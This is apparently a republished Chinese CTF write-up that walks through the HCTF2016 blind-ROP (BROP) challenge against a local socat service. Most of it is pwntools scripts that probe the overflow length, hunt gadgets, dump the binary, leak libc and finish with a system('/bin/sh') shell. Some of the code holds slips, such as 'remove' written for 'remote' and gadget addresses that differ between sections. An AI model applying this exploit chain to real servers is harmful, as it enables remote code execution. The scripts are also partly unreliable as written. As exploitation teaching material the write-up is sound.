[ctf wiki pwn] stackoverflow:hctf2016-brop wp
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ctf wiki pwn] stackoverflow:hctf2016-brop wp相关的知识,希望对你有一定的参考价值。
文章目录
1、本地解题环境
可通过deploy.sh进行部署,打开该文件,有一条指令:
socat tcp-l:9999,reuseaddr,fork exec:./brop
socat,是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版。如果没有socat,还需要提前安装socat。
sudo apt-get install socat
上面这条指令与9999端口绑定,通过run.sh在本地运行起来该题目。
这时,本地解题环境的服务端就起来了。
通过nc 127.0.0.1 9999可连接到该服务。
2、checksec
这道题是BROP,相当于web中的sql盲注,做这道题时,既没有二进制文件,也没有源代码,在比赛时,不可能用checksec来检查防护机制。为了更清楚的弄明白一些原理,还是做一下checksec的这个环节:
3、程序源码
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
4、解题过程
4.1 计算覆盖return addr之前的长度
在没有拿到二进制程序和源程序时,只能通过运行程序在溢出点输入字符串,每次增加一个字节,如果程序崩溃,就可能覆盖了canary或return address。由于本题没有canary,则直接计算距离return address的情况,对于有canary的情况,则需要进一步通过stack reading计算canary。
exp为:
from pwn import *
def getsize():
i = 1
while 1:
try:
p = remote('127.0.0.1',9999)
p.recvuntil('WelCome my friend,Do you know password?\\n')
p.send(i*'a')
data = p.recv()
p.close()
if not data.startswith('No password'):
return i-1
else:
i+=1
except EOFError:
p.close()
return i-1
size = getsize()
print "size is [%s]"%size
运行该python脚本后,可计算出大小为72:
4.2 查找stop gadgets
首先解释一下stop gadgets的定义,如果用stop gadgets覆盖return addr,程序不会崩溃,而是会一致停在那里(如loop或sleep等操作。)下面是找stop gadgets的exp:
from pwn import *
length = 72
def getStopGadgets(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
payload = 'a'*length+p64(addr)
sh.recvuntil("know password?\\n")
sh.sendline(payload)
output = sh.recvuntil("password?\\n")
sh.close()
print("one success addr 0x%x:" % (addr))
if not output.startswith('WelCome'):
sh.close()
addr+=1
else:
return addr
except Exception:
addr+=1
sh.close()
stop_gadgets = getStopGadgets(length)
运行该python脚本后,可找到stop gadgets的地址:
通过objdump,可知这个地址是start函数的地址。找到stop gadgets后,就可以利用它来找用于攻击的gadgets了。
4.3 查找brop gadgets
from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remove('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'a' * length + p64(addr) + 'a'*8*10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
length = 72
stop_gadget = 0x4005c0
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1
运行该脚本后,可找到brop gadgets:
4.4 查找puts plt的地址
接下来,我们希望使用brop gadget的地址来获取puts的地址。brop gadget的最后两条汇编指令为pop r15; ret对应的字节码是41 5f c3。后两字节码5f c3对应的汇编为pop rdi;ret。所以pop rd;ret的地址就是brop gadget +9,通过这个gadget把put的plt打出来。
from pwn import *
length = 72
stop_gadget = 0x4005c0
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400500
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
get_puts_addr(72, rdi_ret, stop_gadget)
运行该脚本,结果为:
4.5 dump文件
找到put plt的地址后,就能不断的puts,把程序dump下来。
from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\\nWelCome")]
except Exception:
data = data
if data == "":
data = '\\x00'
return data
except Exception:
sh.close()
return None
length = 72
stop_gadget = 0x4005c0
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
把生成的core文件用ida打开,打开方式为binary,选择菜单“edit”-“segments” -“Rebase program”,地址设置为0x4000000,拖到0x400555的位置,在地址上按c,就能看到汇编的格式:
0x601018就是plt跳转的地址,也就是put函数got表的地址。
4.6 完整exp
知道put函数got表的地址后,接下来就是常规操作,整个exp为:
#coding=utf8
from pwn import *
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
#context.log_level = 'debug'
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('WelCome my friend,Do you know password?\\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
content = sh.recv()
print content
sh.close()
print 'one success stop gadget addr: 0x%x' % (addr)
except Exception:
addr += 1
sh.close()
def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
payload = p64(csu_last) # pop rbx,rbp,r12,r13,r14,r15, ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(saved_addr) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(csu_middle) # will call [rbx + r12 * 0x8]
payload += 'A' * 56 # junk
return payload
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
def find_brop_gadget(length, stop_gadget):
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
return addr
addr += 1
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\\nWelCome")]
except Exception:
data = data
if data == "":
data = '\\x00'
return data
except Exception:
sh.close()
return None
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
#length = getbufferflow_length()
length = 72
#stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
#brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
#leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + 0x18ce57
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
以上是关于[ctf wiki pwn] stackoverflow:hctf2016-brop wp的主要内容,如果未能解决你的问题,请参考以下文章
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode
[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall